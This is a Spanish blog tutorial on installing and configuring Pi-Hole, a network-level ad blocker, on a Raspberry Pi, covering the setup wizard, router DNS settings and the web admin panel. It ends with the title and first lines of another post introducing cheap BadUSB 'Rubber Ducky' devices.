<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiXVSkmYNapodOA2ASncHq2S-G38rTTtxQwz3vFEjNMvt3WgcS2B5WYa7P1lKqflwcwy8HMtmvDPZjSOrtitFOVrHzANfJgMTqXs_rftfawuKgbU3itvVg2D8O7duy_penr7iskpjJm5c0/s1600/25-07-2017+11-16-24.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="561" data-original-width="901" height="248" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiXVSkmYNapodOA2ASncHq2S-G38rTTtxQwz3vFEjNMvt3WgcS2B5WYa7P1lKqflwcwy8HMtmvDPZjSOrtitFOVrHzANfJgMTqXs_rftfawuKgbU3itvVg2D8O7duy_penr7iskpjJm5c0/s400/25-07-2017+11-16-24.png" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<a name='more'></a><h3>
Presentación de Pi-Hole</h3>
<div>
Tal y como reza la <a href="https://pi-hole.net/" target="_blank">página oficial del proyecto</a>, Pi-Hole es un Adblocker a nivel de la red LAN que promete librarnos de ese montón de anuncios que hay en Internet.</div>
<div>
<br /></div>
<div>
Pi-Hole elimina esos anuncios de todos los dispositivos que usemos en la red sin necesidad de instalar ningún software adicional en ellos, pero tampoco se limita únicamente a los navegadores instalados : también actúa sobre las Apps, SmartsTVs, IoT, etc... impidiendo directamente al descarga de los mismos (no únicamente no mostrándolos después de descargarlos como hacen otros AdBlocker) y descargando proporcionalmente nuestras líneas y red con ello.</div>
<div>
<br /></div>
Además también dispone de una interface web de consulta y gestión donde podemos configurar parámetros, monitorizar en tiempo real, consultar los logs de servicio que va guardando, gestionar las whitelist/blacklists y las peticiones bloqueadas de forma automática una a una, etc....<br />
<br />
<h3>
¿Que necesitamos?</h3>
<div>
Para montar este proyecto vamos a necesitamos una Raspberry Pi (modelos <em style="background-color: white; box-sizing: border-box; font-family: inherit; font-size: 14px;">A+</em><span style="background-color: white; font-family: inherit; font-size: 14px;">, </span><em style="background-color: white; box-sizing: border-box; font-family: inherit; font-size: 14px;">B</em><span style="background-color: white; font-family: inherit; font-size: 14px;">, </span><em style="background-color: white; box-sizing: border-box; font-family: inherit; font-size: 14px;">B+</em><span style="background-color: white; font-family: inherit; font-size: 14px;">, </span><em style="background-color: white; box-sizing: border-box; font-family: inherit; font-size: 14px;">2</em><span style="background-color: white; font-family: inherit; font-size: 14px;">, </span><em style="background-color: white; box-sizing: border-box; font-family: inherit; font-size: 14px;">3B</em><span style="background-color: white; font-family: inherit; font-size: 14px;">, </span><span style="background-color: white; box-sizing: border-box; font-family: inherit; font-size: 14px;"><i>Zero y Zero-W) </i>en la que dispongamos</span><span style="background-color: white; box-sizing: border-box;"><span style="font-family: inherit;"><span style="font-size: 14px;"> como mínimo de 512MB de RAM y aproximadamente 52Mb libres de espacio de almacenamiento.<br /><br />En cuanto al sistema operativo, PiHole en teoría debería funcionar sin problemas en cualquier distribución linux que sea "Debian based" pero en su pagina web indican que de manera oficial solo lo soportan las siguientes distros:</span></span></span></div>
<div>
<span style="background-color: white; box-sizing: border-box;"></span><br />
<ul style="clear: both; color: #222222; font-size: 14px; margin: 0px 0px 9px 25px; padding: 0px;"><span style="background-color: white; box-sizing: border-box;"><span style="font-family: inherit;">
<li>Raspbian: Jessie (lite / with pixel)</li>
<li>Ubuntu: 14.04 / 16.04 / 16.10</li>
<li>Fedora: 24 / 25</li>
<li>Debian: 8.6</li>
<li>CentOS: 7.2.1511 / 7.3.1611</li>
</span></span></ul>
<span style="background-color: white; box-sizing: border-box;">
</span></div>
<br />
Además del hardware y software anteriores, PiHole va a necesitar disponer delos puertos <b>53</b>(para el servicio <i>dnsmasq</i>), <b>80</b>(para el servicio <i>lighttp</i>) y <b>4711</b>(para la API <i>Pihole-FTL</i>).<br />
<span style="color: red; font-size: x-small;"><b>NOTA!</b> El puerto 80 puede ser prescindible si durante la instalación decidimos no contar con la interface web de gestión.</span><br />
<h3>
Instalando Pi-Hole</h3>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiCnt1IK5qmM5m97ZnqqD97DEYuaeM8CWxTVVkCuqQMh9lD1_kXzmPIw-GIM-urKr18KamTDoHOO3HsiTvYZmvDgsuku4l4CwO7xifXI2Dh_C-WyVRWLeij00rVLK1yQetVdu3jq5-kRCI/s1600/21-07-2017+12-50-28.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="128" data-original-width="447" height="91" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiCnt1IK5qmM5m97ZnqqD97DEYuaeM8CWxTVVkCuqQMh9lD1_kXzmPIw-GIM-urKr18KamTDoHOO3HsiTvYZmvDgsuku4l4CwO7xifXI2Dh_C-WyVRWLeij00rVLK1yQetVdu3jq5-kRCI/s320/21-07-2017+12-50-28.png" width="320" /></a></div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: left;">
Esa es la "sentencia mágica" que desencadenará el proceso de descarga e instalación de todo lo que PiHole necesita para funcionar, deberemos ejecutarlo desde la consola de nuestro sistema operativo (o bien desde otro equipo de nuestra red local si tenemos habilitado el acceso por SSH) y observaremos como comienza el proceso.</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiPpNPlRwSDOh_2Odw57X9XiOudkTzc9aMASuMbvHx1Fdz8MAs8umYLHImZpJpqq3fBEyHURL2sov5Lm2fSHz7O2q9sLFvZwAR6bjhexqdN-9ifrdekjeOcgwf4v5Q8gNOmMMzOcIAUVHc/s1600/21-07-2017+12-54-14.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="433" data-original-width="980" height="175" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiPpNPlRwSDOh_2Odw57X9XiOudkTzc9aMASuMbvHx1Fdz8MAs8umYLHImZpJpqq3fBEyHURL2sov5Lm2fSHz7O2q9sLFvZwAR6bjhexqdN-9ifrdekjeOcgwf4v5Q8gNOmMMzOcIAUVHc/s400/21-07-2017+12-54-14.png" width="400" /></a></div>
<div style="text-align: center;">
<br /></div>
<div>
En mitad del proceso el programa de instalación nos pedirá nuestra interacción para configurar correctamente el dispositivo.</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEisbWiyBr6l6Vprq2zbRTdFiow1tubatL61j9bTpfNq_L0I7F1Ei2WWrNRJ3Coem_ja-tqKMJeOMcKk-mF0n4xfwEekB6PjEFLRl6bsrSXjVeBHqgM7qmg8DZU6A4EsIP1GoysxnKRMFS8/s1600/21-07-2017+12-55-25.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="345" data-original-width="565" height="243" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEisbWiyBr6l6Vprq2zbRTdFiow1tubatL61j9bTpfNq_L0I7F1Ei2WWrNRJ3Coem_ja-tqKMJeOMcKk-mF0n4xfwEekB6PjEFLRl6bsrSXjVeBHqgM7qmg8DZU6A4EsIP1GoysxnKRMFS8/s400/21-07-2017+12-55-25.png" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
Lo primero que nos consultará será que tarjeta de red (suponiendo que nuestro hardware disponga de más de una) queremos utilizar para que trabaje Pi-Hole,</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhG2R_tK7x-P9YauMUFeiATto4XVjHY7bKHez6oFi-3ADnQsvha-Nxogz0lrLvCeMoh51DY1p0MvzqiKkGs2-3k6CWT_Q14EHmNFjoZ4Y-_bk5Tas1nQVXSHfxCg3f7_LxVMxEBeqjcSYU/s1600/21-07-2017+12-55-50.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="347" data-original-width="580" height="238" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhG2R_tK7x-P9YauMUFeiATto4XVjHY7bKHez6oFi-3ADnQsvha-Nxogz0lrLvCeMoh51DY1p0MvzqiKkGs2-3k6CWT_Q14EHmNFjoZ4Y-_bk5Tas1nQVXSHfxCg3f7_LxVMxEBeqjcSYU/s400/21-07-2017+12-55-50.png" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
En el siguiente paso debemos indicarle que provedor de DNS queremos utilizar de los predeterminados o customizar los nuestros propios.</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjrtNpW8EWEaRMj_N_D5E3CKfJYZ5XXyjE2uwxTeDJqnJ3ciZjmJXj3YEpD5I_jMqC3ovSUyX5iZJwDWZWlI2ZlI3YX0abhxV5ETmX03rT4vq72IJFZlEuKesCYAJOrkyjyF4O7O0W6u34/s1600/21-07-2017+12-58-01.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="345" data-original-width="605" height="227" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjrtNpW8EWEaRMj_N_D5E3CKfJYZ5XXyjE2uwxTeDJqnJ3ciZjmJXj3YEpD5I_jMqC3ovSUyX5iZJwDWZWlI2ZlI3YX0abhxV5ETmX03rT4vq72IJFZlEuKesCYAJOrkyjyF4O7O0W6u34/s400/21-07-2017+12-58-01.png" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div style="text-align: left;">
También nos pregunta que protocolos queremos cubrir con el PiHole, podemos marcar ambos o solo uno resaltando la opción y pulsando la barra espaciadora</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj0yuT1IGpAKSWtq7zWpmb2xtNb9QE_D0RFTytElsJUlL-juakZ2Oy7KQ9rmYUm_pOEUugWmKi0Ki5vumURChx5NSAe7FYz7FEx3uEfF9WX-cah9Fw5SfHuBlxglL1PG5P2fcZ1JFv4QQw/s1600/21-07-2017+12-58-11.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="345" data-original-width="629" height="218" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj0yuT1IGpAKSWtq7zWpmb2xtNb9QE_D0RFTytElsJUlL-juakZ2Oy7KQ9rmYUm_pOEUugWmKi0Ki5vumURChx5NSAe7FYz7FEx3uEfF9WX-cah9Fw5SfHuBlxglL1PG5P2fcZ1JFv4QQw/s400/21-07-2017+12-58-11.png" width="400" /></a></div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
El programa de instalación nos requiere que asignemos una IP estática al dispositivo y por defecto nos va a ofrecer una aleatoria que se encuentre libre, pero podemos personalizarla y poner nosotros la que deseemos. Igualmente deberemos de indicarle la IP del gateway demuestra red pero por defecto él nos mostrará la opción que considera adecuada.</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhpnbyx_GBKHqiMVbjFNOKjx8NG2mn9KEgIHlVKozKOpKOoPlnNgCZb_-h6kSyHsoyllF4H44voCJScFJkKsKxyQc2uTvxxD7s1PcZEX_Rm16hoOtydM2XoUkRgWlJ_9PF7lrk3mavdK8I/s1600/21-07-2017+12-58-47.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="366" data-original-width="630" height="231" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhpnbyx_GBKHqiMVbjFNOKjx8NG2mn9KEgIHlVKozKOpKOoPlnNgCZb_-h6kSyHsoyllF4H44voCJScFJkKsKxyQc2uTvxxD7s1PcZEX_Rm16hoOtydM2XoUkRgWlJ_9PF7lrk3mavdK8I/s400/21-07-2017+12-58-47.png" width="400" /></a></div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
Nos requerirá indicarle si queremos instalar y poner en marcha la interface web de gestión, lo cual siempre es una buena idea (salvo que tengamos el puerto 80 ya ocupado por otro servicio o aplicación como hemos visto más arriba).</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjtVGGYQfJl-8gn-vwz6e6NChIYwP6UA29FuqUCcj0dUZV6rl6rhde2P4j1fH5dX-WID-6hgsMVOAjm7hD-yMAkGYUUDPpPO0Jy5Q_RLDsX5IpZJb-MTr0sMWIxAudK2lMnWcSOSHiFLg8/s1600/21-07-2017+12-59-13.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="349" data-original-width="621" height="223" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjtVGGYQfJl-8gn-vwz6e6NChIYwP6UA29FuqUCcj0dUZV6rl6rhde2P4j1fH5dX-WID-6hgsMVOAjm7hD-yMAkGYUUDPpPO0Jy5Q_RLDsX5IpZJb-MTr0sMWIxAudK2lMnWcSOSHiFLg8/s400/21-07-2017+12-59-13.png" width="400" /></a></div>
<div style="text-align: left;">
</div>
<div style="text-align: left;">
<br />
También nos dará la opción de guardar logs o no de las consultas DNS que se emitan desde nuestra red.</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgkfPoej14v9G5OkWhdTt6LJM7ViwfmHFaBkq8z23engPyLII0dcuO78j5Mi6LGOf0PESKVU6cJePU5vxdA2jfLtWZW48nKxpUFpZy9qNX42iOagyh-64gpRYnZrGuMs_Q3W8Vq8hNCyNo/s1600/21-07-2017+12-59-25.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="355" data-original-width="632" height="223" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgkfPoej14v9G5OkWhdTt6LJM7ViwfmHFaBkq8z23engPyLII0dcuO78j5Mi6LGOf0PESKVU6cJePU5vxdA2jfLtWZW48nKxpUFpZy9qNX42iOagyh-64gpRYnZrGuMs_Q3W8Vq8hNCyNo/s400/21-07-2017+12-59-25.png" width="400" /></a></div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
Después del paso anterior observaremos como el programa de instalación termina de descargar e instalar los paquetes, dependencias y servicios restantes</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh7imsojHrpeEYFRAqNGEtvhyphenhyphenv7noTFe7J54xH4EVTInxRKmCntbYoixI4v8z-j_pWFGXHorg0JB5FLFQ9aGOnKhQTXftZp_v5LS7wrk-oY0NtDGdyu6thv6SEwUmaFIgX1CNGREpSX4mA/s1600/21-07-2017+12-59-45.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="324" data-original-width="767" height="134" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh7imsojHrpeEYFRAqNGEtvhyphenhyphenv7noTFe7J54xH4EVTInxRKmCntbYoixI4v8z-j_pWFGXHorg0JB5FLFQ9aGOnKhQTXftZp_v5LS7wrk-oY0NtDGdyu6thv6SEwUmaFIgX1CNGREpSX4mA/s320/21-07-2017+12-59-45.png" width="320" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj3qO_NXNlzhuwr0O-qLyd0vkRf68DfBibqj-YcFMwjJ0NEWqQ8GUpCCWjSwqaQEy3SkNq6fldlrQ9QBAzjOVaAjxR51uQcH81yoesuIZlPTxESymWzk-nM3_l1L1cu4fEmP7fB_vf_JQ0/s1600/21-07-2017+13-01-02.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="276" data-original-width="980" height="90" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj3qO_NXNlzhuwr0O-qLyd0vkRf68DfBibqj-YcFMwjJ0NEWqQ8GUpCCWjSwqaQEy3SkNq6fldlrQ9QBAzjOVaAjxR51uQcH81yoesuIZlPTxESymWzk-nM3_l1L1cu4fEmP7fB_vf_JQ0/s320/21-07-2017+13-01-02.png" width="320" /></a></div>
<div style="text-align: left;">
</div>
<div style="text-align: left;">
<br />
Finalmente la instalación quedará finalizada y nuestro PiHole estará listo y levantado!! El mensaje de instalación concluida incluye valiosa información, nos indica cual es la url en la que encontraremos la interface web así como la clave de acceso al modulo de Administración de la misma! Será importante apuntárnosla pues nos harán falta más adelante.</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjLocK8Qq3RMT-mjgFwtceLDOZdsOHz_PhSp00b5cUqtx5ZgvgS-s2sdfEo6Z5QaXytor4au0TyVhjq3FStJKzmaZWmgnizpvepoWIzisxFJC5YiyBAbqf6RwMP6Xuxh0GFLkqeGrSZtk/s1600/21-07-2017+13-01-33.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="361" data-original-width="634" height="227" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjLocK8Qq3RMT-mjgFwtceLDOZdsOHz_PhSp00b5cUqtx5ZgvgS-s2sdfEo6Z5QaXytor4au0TyVhjq3FStJKzmaZWmgnizpvepoWIzisxFJC5YiyBAbqf6RwMP6Xuxh0GFLkqeGrSZtk/s400/21-07-2017+13-01-33.png" width="400" /></a></div>
<div style="text-align: left;">
<br /></div>
<h3 style="text-align: left;">
Poniendo Pi-Hole a trabajar!!</h3>
<div>
Ya lo tenemos todo descargado, instalado configurado y listo--- ¿que hay que hacer para dejar de ver la publicidad en mis dispositivos?. Aquí hay dos opciones posibles, la más cómoda y sencilla, por realizarse una sola vez y no requerir cambiar configuraciones en nuestros dispositivos, es la de configurar manualmente en nuestro router el servidor DNS que queremos utilizar (indicandole como DNS primario la IP que PiHole tiene, en este caso 192.168.1.22).</div>
<div>
<br /></div>
<div>
Este tipo de configuración debemos llevarla a cabo entrando a la gestión de nuestro router y su ubicación/configuración varia dependiendo de la marca, el modelo y algunas de estas funcionalidades también del proveedor (pueden no mostrarse o estar "capadas"). </div>
<div>
Hemos de localizar la sección adecuada (normalmente estará bajo la configuración del DHCP) e indicarle que utilice como servidor DNS la IP de nuestra Raspberry con PiHole</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg01AyecmP3fKOSDWHekbbwvcgi9LCbJvHHFpxEiopJeO21-EGgwswdENDlHylkwVdTNrxB1QinpcAHfKv-GAgcZDs5aL5rOu0YAeE3_tSGLkTSNd4rlP5w6s1zDR2nsXUrxdZI0bnhgs8/s1600/zte-network-lan.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1044" data-original-width="1569" height="265" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg01AyecmP3fKOSDWHekbbwvcgi9LCbJvHHFpxEiopJeO21-EGgwswdENDlHylkwVdTNrxB1QinpcAHfKv-GAgcZDs5aL5rOu0YAeE3_tSGLkTSNd4rlP5w6s1zDR2nsXUrxdZI0bnhgs8/s400/zte-network-lan.png" width="400" /></a></div>
<div>
<br /></div>
<div>
<span style="color: red; font-size: x-small;">NOTA: esta configuración no funcionará en los escenarios en los que los equipos de la LAN utilicen IPs estáticas, en ese escenario debe aplicarse la configuración descrita en el siguiente apartado.</span></div>
<h3>
¿Y si mi router no permite configurar manualmente los DNS o utilizo IPs fijas sin el DHCP en mi red?</h3>
<span style="font-family: inherit;">En ese caso deberemos de llevar a cabo un cambio en la configuración y propiedades del adaptador de red de cada dispositivo para indicarle que nuestro servidor DNS primario es la IP de nuestra Raspberry. </span><br />
<span style="font-family: inherit;">Este procedimiento es diferentes para cada sistema operativo (Windows, Linux, MacOS, Android, iOS, etc...) pero en la <a href="https://discourse.pi-hole.net/t/how-do-i-configure-my-devices-to-use-pi-hole-as-their-dns-server/245" target="_blank">página oficial del proyecto</a> podéis encontrar algunas indicaciones útiles.</span><br />
<span style="font-family: inherit;"><br /></span>
<span style="font-family: inherit;">También tenemos una tercera opción, y es que podemos configurar Pi-Hole como servidor DHCP (deshabilitando esta funcionalidad de nuestro router y dejándole ese trabajo en exclusiva a nuestra Raspberry), para ello deberemos acceder a la configuración de PiHole (en el siguiente apartado veremos como hacerlo desde su interface web) para indicarle el intervalo de direcciones IP, el Gateway y opciones mas avanzadas</span><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgR-nUcyIfLgGAU7ZoCHZ8rKs3GRpZu8bm0oFmH1f_pZiCbK8WFEGRcPm6_mQddvZJH-mRZTOQPQ8ojsE2krlOmN9SmzjKj_S4CNEpPJDnTL4hFcDZuAmIj4UWvNDf0c-IxwnY4sCx9oOQ/s1600/k.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="645" data-original-width="456" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgR-nUcyIfLgGAU7ZoCHZ8rKs3GRpZu8bm0oFmH1f_pZiCbK8WFEGRcPm6_mQddvZJH-mRZTOQPQ8ojsE2krlOmN9SmzjKj_S4CNEpPJDnTL4hFcDZuAmIj4UWvNDf0c-IxwnY4sCx9oOQ/s400/k.png" width="282" /></a></div>
<span style="font-family: inherit;"><br /></span>
<br />
<h3>
Monitorización y administración Web</h3>
<div>
Para acceder a la interface web tan solo debemos acceder con un navegador web a la URL que nos indicó el asistente de instalación cuando finalizó: <span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;">http://pi.hole/admin</span> o bien <span style="font-family: "courier new" , "courier" , monospace;"><span style="font-size: x-small;">http://[Direccion IP]/admin</span></span>. En nuestro caso sería <span style="font-family: "courier new" , "courier" , monospace;">http://192.168.1.22/admin</span></div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi9rkT-csC6qxIl2aA4h8nVsLvFVaq2p69jP936-80BPNLnyqyVOsNScHJTf6OuQqlKV2Z7ocA6Rtcw8_fsQej9ENSrV2qC01n_ayK3AuLq8VDNfA4GLDN2m_mj-ZQYOr99nF1eR_22xO0/s1600/26-07-2017+8-30-45.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="594" data-original-width="1234" height="192" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi9rkT-csC6qxIl2aA4h8nVsLvFVaq2p69jP936-80BPNLnyqyVOsNScHJTf6OuQqlKV2Z7ocA6Rtcw8_fsQej9ENSrV2qC01n_ayK3AuLq8VDNfA4GLDN2m_mj-ZQYOr99nF1eR_22xO0/s400/26-07-2017+8-30-45.png" width="400" /></a></div>
<div>
<br /></div>
<div>
Nada más acceder a la interface observaremos las consultas bloqueadas en las últimas 24 horas, las consultas totales en las ultimas 24 horas, el porcentaje de consultas bloqueadas y el numero de dominios sospechosos de spam y publicidad bloqueados. Igualmente veremos una gráfica de actividad.<br />
<br />
En la esquina superior derecha tenemos una gráfica resumen que nos indica que el servicio está activo, la carga del dispositivo y su temperatura (una funcionalidad muy agradecida por muchos usuarios de la comunidad por lo que he visto en foros y grupos) y el uso de memoria en tiempo real.<br />
<br />
En la columna izquierda tenemos la opción de Login para acceder a las opciones de configuración del sistema con la contraseña que nos indicó el asistente de instalación cuando finalizó<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgUQ2MoOxzppyRnUT4sIcVs3v55814tjCCwnHNypGdeIXt4g9tiSqdFjuZbZm6M4QMdzPVRX0pQkt2XIPxm4qBhz8dtwvJnSpn7wEX6J1Qwp3PxGEBzYHe33lzu40yJNZSCRoh9aYSnRWc/s1600/26-07-2017+9-22-36.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="617" data-original-width="435" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgUQ2MoOxzppyRnUT4sIcVs3v55814tjCCwnHNypGdeIXt4g9tiSqdFjuZbZm6M4QMdzPVRX0pQkt2XIPxm4qBhz8dtwvJnSpn7wEX6J1Qwp3PxGEBzYHe33lzu40yJNZSCRoh9aYSnRWc/s400/26-07-2017+9-22-36.png" width="281" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
Una vez logeados como admins observamos más información en la pantalla principal como la gráfica de consultas IPv4 e IPv6 y la de los redireccionamientos así como un listado de dominios mas consultados y dominios más bloqueados</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSL6uE4SzcNpcmk7_jcOtNfG66922glCvgPqI9pT28ucSOmuEKWVXXnfDqrm46Uc9UB_z_v50R2Ocbuil5veP-jexYNrIKCRRv0quZMOEqy6GbUJETw-jqb6NdVk7jaxWYqrJbDXAoZ1s/s1600/26-07-2017+9-27-25.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="716" data-original-width="939" height="305" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSL6uE4SzcNpcmk7_jcOtNfG66922glCvgPqI9pT28ucSOmuEKWVXXnfDqrm46Uc9UB_z_v50R2Ocbuil5veP-jexYNrIKCRRv0quZMOEqy6GbUJETw-jqb6NdVk7jaxWYqrJbDXAoZ1s/s400/26-07-2017+9-27-25.png" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
En la columna de la izquierda tenemos acceso a todas las funcionalidades de configuración y administración de nuestro PiHole, podremos consultar los logs de servicio/consultas, configurar whitelists y blacklists, actualizar las listas, y ajustar parámetros de configuración (como la opción de servidor DHCP que mencionados en el capitulo anterior de esta entrada).</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhC-MVpsisB2yf8_UddF2epeovSI-xFeubkkZ2T_Bu04DecoVlHvMboWkQjdA2J1ioAeof8zzoxHlNcpY7WwVR1g0qpEs6vV8fx6OSu_lGeJkKVc2rR6yoT0qdapSk026QLDWu-dfOI1aw/s1600/26-07-2017+9-35-13.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="438" data-original-width="211" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhC-MVpsisB2yf8_UddF2epeovSI-xFeubkkZ2T_Bu04DecoVlHvMboWkQjdA2J1ioAeof8zzoxHlNcpY7WwVR1g0qpEs6vV8fx6OSu_lGeJkKVc2rR6yoT0qdapSk026QLDWu-dfOI1aw/s400/26-07-2017+9-35-13.png" width="192" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
Espero que os haya gustado la entrada, yo la verdad es que estoy muy contento con el proyecto funcionando desde hace unas semanas de forma activa, la verdad es que la navegación y el uso de la red se sienten como siempre, todo es muy transparente y ni te das cuenta de ello salvo cuando te paras a pensar cuanto tiempo llevas sin ver esos anuncios o sugerencias basadas en tus gustos y búsquedas anteriores!!.</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
Si os animáis a montarlo y tenéis alguna duda en la que pudiera ayudaros no dudéis en contactarme!<br /><br />Saludos!!!!!!!!!!!!!!!!</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
</div>
Hacker de Cabecerahttp://www.blogger.com/profile/04109447777461913594noreply@blogger.com2tag:blogger.com,1999:blog-7944950214559293430.post-20170628271892462272017-07-21T16:46:00.000+02:002017-10-04T13:11:40.200+02:00Cheap BadUSB (a.k.a Rubber Ducky). Barato y funcional!Siguiendo las entradas sobre hardware económico al que se le pueden dar usos de hacking, y animado por las ultimas publicaciones del bueno de <a href="https://blog.kalrong.net/es/" target="_blank">Kalrong</a> y de la publicación del blog TheHackerWay hoy os muestro como me he hecho un Cheap-Rubber-Ducky!!<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgSm1ytZemn4mS-G5uQVrKQhiCrilhiUpGGEDpL8Rw7Isqa0JFn8Vp3kOdyWkaCRvHX-OwqE3dfxUI6h5GQH-JMm44Au56faPhr-1FXQI6Cmt1rGuqY3Hvqh6N5TCN93rVHy73YKPI-vLA/s1600/intro.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1371" data-original-width="1577" height="276" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgSm1ytZemn4mS-G5uQVrKQhiCrilhiUpGGEDpL8Rw7Isqa0JFn8Vp3kOdyWkaCRvHX-OwqE3dfxUI6h5GQH-JMm44Au56faPhr-1FXQI6Cmt1rGuqY3Hvqh6N5TCN93rVHy73YKPI-vLA/s320/intro.jpg" width="320" /></a></div>
<br />
<a name='more'></a><h3>
Cheap! Me interesa! Pero... ¿que es eso de Rubber Ducky?</h3>
Rubber Ducky es la denominación comercial que la prestigiosa marca HAK5 (dedicada al hardware enfocado al hacking) le da a su concepto de lo que se denomina "Bad USB".<br />
<br />
